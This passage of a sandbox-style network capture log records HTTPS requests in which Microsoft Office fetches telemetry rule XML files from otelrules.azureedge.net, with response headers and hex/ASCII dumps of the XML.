DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:36 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:36 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:36 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: ef7071d9-001e-0049-3975-355bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162436Z-1749fc9bdbddrtrhhC1DFWsq8000000002t000000000h904 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:36 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:36 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:36 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:36 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 1deec605-401e-0029-2fd2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162436Z-16547b76f7f9bs6dhC1DFWt3rg0000000kyg000000001rvp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:36 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:36 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:36 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 80dd7e23-101e-00a2-2530-369f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162436Z-1749fc9bdbdht5mthC1DFWph9000000002rg00000000shhr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:36 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:37 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:37 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:37 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5b14ddc3-301e-0033-2bd2-2cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162437Z-16547b76f7fj897nhC1DFWdwq40000000kpg00000000q4zw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:37 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:37 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:37 UTC	522	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 14be5296-801e-008c-31af-367130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162437Z-1749fc9bdbdgs9sshC1DFWt6ws00000002t000000000qm8d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-14 16:24:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:37 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:37 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:37 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 59bb3ce9-601e-0097-63c3-2bf33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162437Z-16547b76f7fljddfhC1DFWeqbs00000000xg0000000087u3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:37 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:37 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: ba5a1fbd-801e-007b-0816-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162437Z-r178fb8d765w8fzdhC1DFW8ep400000002rg00000000b1kn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:37 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:37 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:37 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 3018dd1c-101e-008d-1bd2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162437Z-16547b76f7fljddfhC1DFWeqbs00000000yg000000004gye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:38 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:38 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:38 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162438Z-16547b76f7f4k79zhC1DFWu9y00000000kvg00000000rdbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:38 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:38 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:38 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:38 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: fadf1528-a01e-001e-72d2-2c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162438Z-16547b76f7fcjqqhhC1DFWrrrc0000000kug00000000mmv5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:38 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:38 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:38 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 1deecc73-401e-0029-32d2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162438Z-16547b76f7f67wxlhC1DFWah9w0000000kv000000000grq5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:38 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:38 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: f42d05d4-d01e-0014-06a7-34ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162438Z-r178fb8d765bflfthC1DFWuy9n00000002t000000000ncgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
